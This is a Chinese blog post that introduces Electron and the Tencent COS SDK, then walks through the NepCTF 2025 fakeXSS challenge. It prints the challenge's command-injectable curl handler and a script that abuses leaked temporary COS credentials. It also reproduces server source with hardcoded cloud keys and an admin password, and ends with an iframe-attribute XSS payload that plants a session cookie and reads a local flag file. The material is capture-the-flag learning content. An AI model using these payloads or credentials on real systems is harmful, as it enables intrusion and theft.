Electron框架&腾讯云COS

这两个也没什么必然的联系,就是NepCTF中的fakeXSS用了这两个,就干脆放在一起来学习一下

Electron框架

入门Electron,手把手教你编写完整实用案例想学习Electron,又门槛太高?这篇文章帮你从原理到操作入门Elec - 掘金

概念

Electron是一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的框架,使用Electron开发的桌面应用,类似于简易版的、定制版的Chrome浏览器

简单来说,一个WebPage,如果是用Electron开发的,那么连上方的输入网址框、跳转页面按钮开发者都是能控制得,而在Web应用中做不到(见下图)

和浏览器架构类似,Electron应用程序区分主进程和渲染进程

主进程负责控制应用程序的生命周期、创建和管理应用程序窗口,有着多种控制原生桌面功能的模块,例如菜单、对话框以及托盘图标

渲染进程负责完成渲染界面、接收用户输入、响应用户的交互等工作

一个Electron应用只有一个主进程,但可以有多个渲染进程

开启第一个项目

初始化&安装

在文件夹中执行

1
2
3
npm init
npm install electron --S
npm i nodemon --D

其中npm init里输入项目名字然后一路回车,最后回答Yes即可

创建应用程序

在根目录创建index.js,因为Electron框架是基于Node.js,所以作为入口文件的index.js使用Node.js语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//导入 app和 BrowserWindow 模块
// app模块控制应用的生命周期
// BrowserWindow 模块用于创建和管理浏览器窗口

const { app, BrowserWindow } = require('electron')


// 在Electron中只有在app模块的ready事件被触发后才能创建窗口
app.on('ready', () => {

//创建一个窗口
const mainWindow = new BrowserWindow()

//窗口加载本地HTML文件
mainWindow.loadFile('./src/main.html')

})

mainWindow.loadFile('./src/main.html')加载本地的HTML文件

所以我们第二步在根目录下创建src文件夹,再在里面创建main.html

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
Hello World
</body>
</html>

最后再更改package.json里的script

1
2
3
"scripts": {
"start": "nodemon --watch index.js --exec electron ."
},

nodemon --watch index.js --exec electron .保证当index.js的内容发生变化时,就自动重新执行electron . 来重启应用

结束上述操作之后,根目录npm run start

如何动态调试?

View–> Toggle Developer Tools

就能看到正常网页中按F12看到的效果了~

当你的代码内容发生变化时,直接Reload就能刷新页面

Coding

以下是项目的基本结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//app用于控制应用程序的生命周期,BrowserWindow用于创建和管理浏览器窗口,Tray用于创建系统托盘,Menu用于创建菜单
const { app, BrowserWindow, Tray, Menu } = electron

// 设置托盘图标文件的路径。__dirname是当前执行脚本所在的目录,path.join用于拼接路径
const iconPath = path.join(__dirname, './src/img/icon.png')

let mainWindow, tray

app.on('ready', () => {
mainWindow = new BrowserWindow({
frame: false //设置无边框窗口
})
mainWindow.loadURL(`file://${__dirname}/src/main.html`)

//创建一个新的Tray实例,iconPath是托盘图标的路径
tray = new Tray(iconPath)

//设置鼠标悬停在托盘图标上时显示的提示文本
tray.setToolTip('Tasky')

tray.on('click', () => {
if(mainWindow.isVisible()){ //主窗口可见就隐藏
mainWindow.hide()
}else{
mainWindow.show()
}
})

tray.on('right-click', () => { //右键触发菜单,这里设定了一个退出功能
const menuConfig = Menu.buildFromTemplate([
{
label: 'Quit',
click: () => app.quit()
}
])
tray.popUpContextMenu(menuConfig)
})

IPC通信

**IPC(Inter-Process Communication)**,就是进程间通信,上文说到,Electron程序分为主进程和渲染进程,那么两者之间就需要通信

( send 发送然后另一边 on 接受)

主进程 ipcMain.on <——————————– ——ipcRenderer.send 渲染进程

主进程 renderWindow.webContents.send ———> ipcRenderer.on 渲染进程

渲染进程 To 主进程

渲染进程使用Electron内置的ipcRenderer模块向主进程发送消息

1
2
3
4
5
6
7
8
const electron = require('electron')
const { ipcRenderer } = electron

closeDom.addEventListener('click', () => {
ipcRenderer.send('mainWindow:close') //当点击主窗口关闭按钮时触发
})

//ipcRenderer.send方法第一个参数是消息管道名称

主进程通过 ipcMain 接收消息

1
2
3
4
5
//index.js

ipcMain.on('mainWindow:close', () => {
mainWindow.hide() //接收到消息的回调函数
})

主进程 To 渲染进程

主进程向渲染进程发送消息是通过渲染进程的webContents

1
2
3
4
5
6
7
8
9
function createRemindWindow(task) {
remindWindow = new BrowserWindow({
frame : false
})
remindWindow.loadURL(`file://${__dirname}/src/reminder.html`)

//主进程发送消息给渲染进程
remindWindow.webContents.send('set', task)
}

remindWindow渲染进程中,通过ipcRenderer.on接受消息

1
2
3
4
ipcRenderer.on('set', (event,task) => {
document.querySelector('.reminder').innerHTML =
`<p>${decodeURIComponent(task)}</p>`
})

渲染进程 To 渲染进程

想要从窗口A直接发消息到窗口B,需要A知道B的webContentsId

1
ipcRenderer.sendTo(webContentsId, channel, ...args)

如果想在渲染进程中访问Node.js API,需要创建窗口时配置webPreferencesnodeIntegration: truecontextIsolation: false

1
2
3
4
5
6
mainWindow = new BrowserWindow({
webPreferences:{
nodeIntegration: true,
contextIsolation: false
}
})

腾讯云COS

快速入门- 对象存储(COS) - 文档中心

下载

1
pip install -U cos-python-sdk-v5

术语

名称 描述
APPID 开发者访问 COS 服务时拥有的用户维度唯一资源标识,用以标识资源
SecretId 开发者拥有的项目身份识别 ID,用以身份认证
SecretKey 开发者拥有的项目身份密钥
Bucket COS 中用于存储数据的容器
Object COS 中存储的具体文件,是存储的基本实体
Region 域名中的地域信息
Endpoint Endpoint 由 Region 和域名组成,具体格式为: “.”,其中 Domain 为自定义的域名。 在控制台创建 Bucket 时,可以看到对应的访问地址为:”.”,Bucket 后面的部分即为 Endpoint。
ACL 访问控制列表(Access Control List),是指特定 Bucket 或 Object 的访问控制信息列表
CORS 跨域资源共享(Cross-Origin Resource Sharing), 指发起请求的资源所在域不同于该请求所指向资源所在的域的 HTTP 请求
Multipart Uploads 分块上传,COS 服务为上传文件提供的一种分块上传模式

配置

1
2
3
4
from qcloud_cos import CosS3Client

secret_id = "xxx" # 我们自己的SecretID
secret_key = "xxx" # 我们自己的SecretKey

上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from qcloud_cos import CosConfig, CosS3Client
import os

config = CosConfig(
Region='ap-guangzhou',
SecretId='AKIDMlQ...', # TmpSecretId
SecretKey='V0Q8RH8...', # TmpSecretKey
Token='4IPax3f0...', # Token
)
client = CosS3Client(config) # 初始化

bucket = 'test-1360802834'
key = 'picture/dccedea5-1d8d-4b5f-9e09-84aacc6dd937.png' # 文件在COS中的键
local_file = '/tmp/test.png' # 文件在COS中的本地文件路径

response = client.put_object(
Bucket=bucket,
Body=open(local_file, 'rb'),
Key=key
#PartSize=数字
#MAXThread=数字
#EnableMD5=True/False
)
print(response) # 成功返回 ETag

下载文件

1
2
3
4
5
6
7
8
9
10
11
12
13
# 下载文件
cos_client.get_object_to_file(bucket, key, 'path/to/your/local/file')



response = client.download_file(
Bucket=bucket_name,
Key=cos_key,
DestFilePath=local_path,
PartSize=10*1024*1024, # 分块大小(10MB)
MAXThread=5, # 并发线程数
ProgressCallback=progress_callback
)

删除文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 删除文件
response = client.delete_objects(
Bucket='examplebucket-1250000000',
Delete={
'Object': [
{
'Key': 'exampleobject1',
},
{
'Key': 'exampleobject2',
},
],
'Quiet': 'true'|'false'
}
)

NepCTF2025-fakeXSS

下方可以下载客户端,下载后看图标可知是Electron框架,然后用WinASAR解压

main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const { exec } = require('child_process');

let mainWindow = null;

function createWindow() {
mainWindow = new BrowserWindow({
width: 1600,
height: 1200,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
contextIsolation: true,
}
});

// 默认加载本地输入页面
mainWindow.loadFile('index.html');
}

app.whenReady().then(createWindow);

// 接收用户输入的地址并加载它
ipcMain.handle('load-remote-url', async (event, url) => {

if (mainWindow) {
mainWindow.loadURL(url);
}
});

ipcMain.handle('curl', async (event, url) => {
return new Promise((resolve) => {

const cmd = `curl -L "${url}"`;

exec(cmd, (error, stdout, stderr) => {
if (error) {
return resolve({ success: false, error: error.message });
}
resolve({ success: true, data: stdout });
});
});
});

最下面的,可以拼入URL,直接进行RCE,先放在一边

1
const cmd = `curl -L "${url}"`;

然后进去是个登陆界面,先注册登入看看,进去之后有个上传头像,分别抓包保存、刷新、上传,发现上传头像回显

Token

通过base64解码auth可发现这是腾讯云COS

1
"{\"version\":\"2.0\",\"statement\":[{\"effect\":\"allow\",\"action\":[\"cos:PutObject\"],\"resource\":[\"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/picture/dccedea5-1d8d-4b5f-9e09-84aacc6dd937.png\"],\"Condition\":{\"numeric_equal\":{\"cos:request-count\":5},\"numeric_less_than_equal\":{\"cos:content-length\":10485760}}},{\"effect\":\"allow\",\"action\":[\"cos:GetBucket\"],\"resource\":[\"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*\"]}]}"

(这个Token如果提示你失效了就重新发送一遍获得新的token即可)

借用nepctf 2025 web wp - LamentXU - 博客园的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import logging
import os

# 配置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# 临时凭证信息
credentials = {
"Token":"0R0XmxDL49yif79c9rRXnLYM1vbjR2Da318a4326b0c7bff4f56344465fad714fAQdoKSmkHKYvZE-x_Wbj-97Byfy-t71IHYouklLnn5srbzYXPBmrWGZAnhrJhpkX3_QSIRmhZlEgfOdp4Bdx0kg9UCQecE_sxP1M4P3_uvO7AQV_i20R-AOaegFgNQw6E7zFFi8poid0R5bIoSmSGc0HKExRebMmIhVjK1NSSjV8pBnYkslUFiT91jsFUXvdAw5EGv_gQ8I2O_jm7o3hOHnvJyFGUhoGOZewNeCUtYVdf__5hAHoz8Q-F30IfvfYb4CQlL6LSUcvlmNZ-Jj7TGBMJhyvkEU3jAJNWgo4iC742Vj1rY_tBqXYJ2DAEJK6xv2vFDkxmJ9ftUO7OUZWdMicYMCyFNJu7KqtTsfPKySxKV-fIFDZv64NrgPm9jmnrfgKm1XK_CV0kI-qOnTvDeKA3WbE94P9XTm-s8N1jMeFMYVsYfKYQsIaR01eTD8XIAf8KcTg6GfyvkA6ewB4vA","TmpSecretId":"AKID3-CdtXjCLfIJo_vlvaTkVFB5gRGUDY3fN8aHQUi1I0CS7BwUnR2-U3pdMtIwhleu","TmpSecretKey":"kBMjDi2LGlrVRdf0QOf8kNjgme+k3vshE0FGPHPLhlA=",
}

# 存储桶配置
bucket_name = 'test-1360802834'
region = 'ap-guangzhou'

# 配置COS客户端
config = CosConfig(
Region=region,
SecretId=credentials["TmpSecretId"],
SecretKey=credentials["TmpSecretKey"],
Token=credentials["Token"]
)

# 初始化客户端
client = CosS3Client(config)

def list_files_for_download():
"""列出可供下载的文件"""
try:
print(f"\n正在列出存储桶 {bucket_name} 中的文件...")
marker = ""
file_list = []

while True:
response = client.list_objects(
Bucket=bucket_name,
MaxKeys=100,
Marker=marker
)

if 'Contents' in response:
for obj in response['Contents']:
if not obj['Key'].endswith('/'): # 排除目录
file_list.append(obj['Key'])
print(f"{len(file_list)}. {obj['Key']} (大小: {obj['Size']} bytes)")

if response.get('IsTruncated', 'false') == 'false':
break

marker = response.get('NextMarker', '')

return file_list

except Exception as e:
print(f"列出文件时出错: {str(e)}")
return []

def download_file(cos_key, local_path=None):
"""
下载文件
:param cos_key: COS上的文件路径
:param local_path: 本地保存路径(可选)
"""
try:
if local_path is None:
# 如果没有指定本地路径,使用文件名作为默认路径
local_path = os.path.basename(cos_key)
print(local_path)
# 创建目录(如果需要)
# os.makedirs(os.path.dirname(local_path), exist_ok=True)

print(f"\n正在下载 {cos_key}{local_path}...")
print(cos_key)
# 执行下载
response = client.download_file(
Bucket=bucket_name,
Key=cos_key,
DestFilePath=local_path
)
print(response)
print(f"下载成功! 文件保存到: {os.path.abspath(local_path)}")
return True

except Exception as e:
raise

def download_file_with_progress(cos_key, local_path=None):
"""
带进度显示的下载文件
:param cos_key: COS上的文件路径
:param local_path: 本地保存路径(可选)
"""
try:
if local_path is None:
local_path = os.path.basename(cos_key)

print(f"\n正在下载 {cos_key}{local_path}...")

# 获取文件大小用于显示进度
head_response = client.head_object(
Bucket=bucket_name,
Key=cos_key
)
total_size = int(head_response['Content-Length'])

# 回调函数显示进度
def progress_callback(consumed_bytes, total_bytes):
percent = int(100 * (consumed_bytes / total_bytes))
print(f"\r下载进度: {percent}% ({consumed_bytes}/{total_bytes} bytes)", end='', flush=True)

# 执行下载
response = client.download_file(
Bucket=bucket_name,
Key=cos_key,
DestFilePath=local_path,
PartSize=10*1024*1024, # 分块大小(10MB)
MAXThread=5, # 并发线程数
ProgressCallback=progress_callback
)

print("\n下载完成!")
return True

except Exception as e:
print(f"\n下载文件 {cos_key} 时出错: {str(e)}")
return False

if __name__ == "__main__":
print("===== 腾讯云 COS 文件下载工具 =====")
print(f"使用临时密钥访问存储桶: {bucket_name}")

# 列出文件供选择
files = list_files_for_download()

if not files:
print("\n存储桶中没有可供下载的文件")
else:
# 让用户选择要下载的文件
try:
selection = input("\n请输入要下载的文件编号(输入0退出): ")
if selection == '0':
exit()

selection = int(selection) - 1
if 0 <= selection < len(files):
selected_file = files[selection]

# 获取本地保存路径
default_name = os.path.basename(selected_file)
local_path = input(f"输入本地保存路径(默认: {default_name}): ") or default_name

# 选择下载方式
print("\n选择下载方式:")
print("1. 普通下载")
print("2. 带进度显示的分块下载(适合大文件)")
method = input("请输入选项(默认1): ") or '1'

if method == '1':
download_file(selected_file, local_path)
else:
download_file_with_progress(selected_file, local_path)
else:
print("输入无效,请选择正确的文件编号")
except ValueError:
print("请输入有效的数字编号")

print("\n程序执行完毕")

可以跑出一共有多少文件可以被下载

然后选择下载server_bak.js,这里的flag.txt是假的

然后你会发现报错,但是往上看运行信息的时候你能看到一串链接,访问即可下载

server_bak.js(就是最开始登入界面的源码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const tencentcloud = require("tencentcloud-sdk-nodejs");
const path = require('path');
const fs = require('fs');
const { v4: uuidv4 } = require('uuid');
const { execFile } = require('child_process');
const he = require('he');


const app = express();
const PORT = 3000;

app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});

// 配置会话
app.use(session({
secret: 'ctf-secret-key_023dfpi0e8hq',
resave: false,
saveUninitialized: true,
cookie: { secure: false , httpOnly: false}
}));

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));

// 用户数据库
const users = {'admin': { password: 'nepn3pctf-game2025', role: 'admin', uuid: uuidv4(), bio: '' }};
// 存储登录页面背景图片 URL
let loginBgUrl = '';

// STS 客户端配置
const StsClient = tencentcloud.sts.v20180813.Client;
const clientConfig = {
credential: {
secretId: "AKIDRaszDXeZJin6JHbjeOjLQL3Yp4EAvR",
secretKey: "NXUDi2B7rONBU8IF4pZ9d9AndjSzKRN6",
},
region: "ap-guangzhou",
profile: {
httpProfile: {
endpoint: "sts.tencentcloudapi.com",
},
},
};
const client = new StsClient(clientConfig);

// 注册接口
app.post('/api/register', (req, res) => {
const { username, password } = req.body;
if (users[username]) {
return res.status(409).json({ success: false, message: '用户名已存在' });
}
const uuid = uuidv4();
users[username] = { password, role: 'user', uuid, bio: '' };
res.json({ success: true, message: '注册成功' });
});

// 登录页面
app.get('/', (req, res) => {
let loginHtml = fs.readFileSync(path.join(__dirname, 'public', 'login.html'), 'utf8');
if (loginBgUrl) {
const key = loginBgUrl.replace('/uploads/', 'uploads/');
const fileUrl = `http://ctf.mudongmudong.com/${key}`;

const iframeHtml = `<iframe id="backgroundframe" src="${fileUrl}" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>`;
loginHtml = loginHtml.replace('</body>', `${iframeHtml}</body>`);
}
res.send(loginHtml);
});



// 登录接口
app.post('/api/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];

if (user && user.password === password) {
req.session.user = { username, role: user.role, uuid: user.uuid };
res.json({ success: true, role: user.role });
} else {
res.status(401).json({ success: false, message: '认证失败' });
}
});

// 检查用户是否已登录
function ensureAuthenticated(req, res, next) {
if (req.session.user) {
next();
} else {
res.status(401).json({ success: false, message: '请先登录' });
}
}

// 获取用户信息
app.get('/api/user', ensureAuthenticated, (req, res) => {
const user = users[req.session.user.username];
res.json({ username: req.session.user.username, role: req.session.user.role, uuid: req.session.user.uuid, bio: user.bio });
});

// 获取头像临时密钥
app.get('/api/avatar-credentials', ensureAuthenticated, async (req, res) => {
const params = {
Policy: JSON.stringify({
version: "2.0",
statement: [
{
effect: "allow",
action: ["cos:PutObject"],
resource: [
`qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/picture/${req.session.user.uuid}.png`
],
Condition: {
numeric_equal: {
"cos:request-count": 5
},
numeric_less_than_equal: {
"cos:content-length": 10485760 // 10MB 大小限制
}
}
},
{
effect: "allow",
action: ["cos:GetBucket"],
resource: [
"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
]
}
]
}),
DurationSeconds: 1800,
Name: "avatar-upload-client"
};

try {
const response = await client.GetFederationToken(params);
const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
res.json({ ...response.Credentials, auth });
} catch (err) {
console.error("获取头像临时密钥失败:", err);
res.status(500).json({ error: '获取临时密钥失败' });
}
});

// 获取文件上传临时密钥(管理员)
app.get('/api/file-credentials', ensureAuthenticated, async (req, res) => {
if (req.session.user.role !== 'admin') {
return res.status(403).json({ error: '权限不足' });
}

const params = {
Policy: JSON.stringify({
version: "2.0",
statement: [
{
effect: "allow",
action: ["cos:PutObject"],
resource: [
`qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/uploads/${req.session.user.uuid}/*`
],
Condition: {
numeric_equal: {
"cos:request-count": 5
},
numeric_less_than_equal: {
"cos:content-length": 10485760
}
}
},
{
effect: "allow",
action: ["cos:GetBucket"],
resource: [
"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
]
}
]
}),
DurationSeconds: 1800,
Name: "file-upload-client"
};

try {
const response = await client.GetFederationToken(params);
const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
res.json({ ...response.Credentials, auth });
} catch (err) {
console.error("获取文件临时密钥失败:", err);
res.status(500).json({ error: '获取临时密钥失败' });
}
});

// 保存个人简介(做好 XSS 防护)
app.post('/api/save-bio', ensureAuthenticated, (req, res) => {
const { bio } = req.body;
const sanitizedBio = he.encode(bio);
const user = users[req.session.user.username];
user.bio = sanitizedBio;
res.json({ success: true, message: '个人简介保存成功' });
});

// 退出登录
app.post('/api/logout', ensureAuthenticated, (req, res) => {
req.session.destroy();
res.json({ success: true });
});

// 设置登录页面背景
app.post('/api/set-login-bg', ensureAuthenticated, async (req, res) => {
if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}
const { key } = req.body;
bgURL = key;
try {
const fileUrl = `http://ctf.mudongmudong.com/${bgURL}`;
const response = await fetch(fileUrl);
if (response.ok) {
const content = response.text();
} else {
console.error('获取文件失败:', response.statusText);
return res.status(400).json({ success: false, message: '获取文件内容失败' });
}
} catch (error) {
return res.status(400).json({ success: false, message: '打开文件失败' });
}
loginBgUrl = key;
res.json({ success: true, message: '背景设置成功' });
});



app.get('/api/bot', ensureAuthenticated, (req, res) => {

if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}

const scriptPath = path.join(__dirname, 'bot_visit');

// bot 将会使用客户端软件访问 http://127.0.1:3000/ ,但是bot可不会带着他的秘密去访问哦

execFile(scriptPath, ['--no-sandbox'], (error, stdout, stderr) => {
if (error) {
console.error(`bot visit fail: ${error.message}`);
return res.status(500).json({ success: false, message: 'bot visit failed' });
}

console.log(`bot visit success:\n${stdout}`);
res.json({ success: true, message: 'bot visit success' });
});
});

// 下载客户端软件
app.get('/downloadClient', (req, res) => {
const filePath = path.join(__dirname, 'client_setup.zip');

if (!fs.existsSync(filePath)) {
return res.status(404).json({ success: false, message: '客户端文件不存在' });
}

res.download(filePath, 'client_setup.zip', (err) => {
if (err) {
console.error('client download error: ', err);
return res.status(500).json({ success: false, message: '下载失败' });
} else {
}
});
});

// 启动服务器
app.listen(PORT, () => {
console.log(`服务器运行在端口 ${PORT}`);
});

从这一段可以看出密码:(nepn3pctf-game2025)

1
2
// 用户数据库
const users = {'admin': { password: 'nepn3pctf-game2025', role: 'admin', uuid: uuidv4(), bio: '' }};

再看根目录:

1
2
3
4
5
6
7
8
9
10
11
12
// 登录页面
app.get('/', (req, res) => {
let loginHtml = fs.readFileSync(path.join(__dirname, 'public', 'login.html'), 'utf8');
if (loginBgUrl) {
const key = loginBgUrl.replace('/uploads/', 'uploads/');
const fileUrl = `http://ctf.mudongmudong.com/${key}`;

const iframeHtml = `<iframe id="backgroundframe" src="${fileUrl}" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>`;
loginHtml = loginHtml.replace('</body>', `${iframeHtml}</body>`);
}
res.send(loginHtml);
});

发现可以直接拼接 fileurl 进去,再看他设置背景的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 设置登录页面背景
app.post('/api/set-login-bg', ensureAuthenticated, async (req, res) => {
if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}
const { key } = req.body;
bgURL = key;
try {
const fileUrl = `http://ctf.mudongmudong.com/${bgURL}`;
const response = await fetch(fileUrl);
if (response.ok) {
const content = response.text();
} else {
console.error('获取文件失败:', response.statusText);
return res.status(400).json({ success: false, message: '获取文件内容失败' });
}
} catch (error) {
return res.status(400).json({ success: false, message: '打开文件失败' });
}
loginBgUrl = key;
res.json({ success: true, message: '背景设置成功' });
});

简单验证是否上传成功,再下面有个bot:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.get('/api/bot', ensureAuthenticated, (req, res) => {

if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}

const scriptPath = path.join(__dirname, 'bot_visit');

// bot 将会使用客户端软件访问 http://127.0.1:3000/ ,但是bot可不会带着他的秘密去访问哦

execFile(scriptPath, ['--no-sandbox'], (error, stdout, stderr) => {
if (error) {
console.error(`bot visit fail: ${error.message}`);
return res.status(500).json({ success: false, message: 'bot visit failed' });
}

console.log(`bot visit success:\n${stdout}`);
res.json({ success: true, message: 'bot visit success' });
});
});

告诉我们需要用admin的权限,且bot不会带上admin的身份,所以我们需要把admin的cookie传给bot,这样

下方可以下载客户端,下载后看图标可知是Electron框架,然后用WinASAR解压

main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const { exec } = require('child_process');

let mainWindow = null;

function createWindow() {
mainWindow = new BrowserWindow({
width: 1600,
height: 1200,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
contextIsolation: true,
}
});

// 默认加载本地输入页面
mainWindow.loadFile('index.html');
}

app.whenReady().then(createWindow);

// 接收用户输入的地址并加载它
ipcMain.handle('load-remote-url', async (event, url) => {

if (mainWindow) {
mainWindow.loadURL(url);
}
});

ipcMain.handle('curl', async (event, url) => {
return new Promise((resolve) => {

const cmd = `curl -L "${url}"`;

exec(cmd, (error, stdout, stderr) => {
if (error) {
return resolve({ success: false, error: error.message });
}
resolve({ success: true, data: stdout });
});
});
});

后利用 window.electronAPI.curl 拿出 flag 内容并通过保存个人简介接口将 flag 写入到账号 admin 的简介中

Payload:

1
{"key":"x\" onload=\"document.cookie='connect.sid=s%3AqIRfC1AVwefcNWF6E7RWSJmeKUy7GHEx.S7ggxMeEcMGSz2rFDxT07%2BZ7%2B52ZRWDKGxCY%2Bo6g4lE';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""}

然后GET访问/api/bot

再访问GET/api/user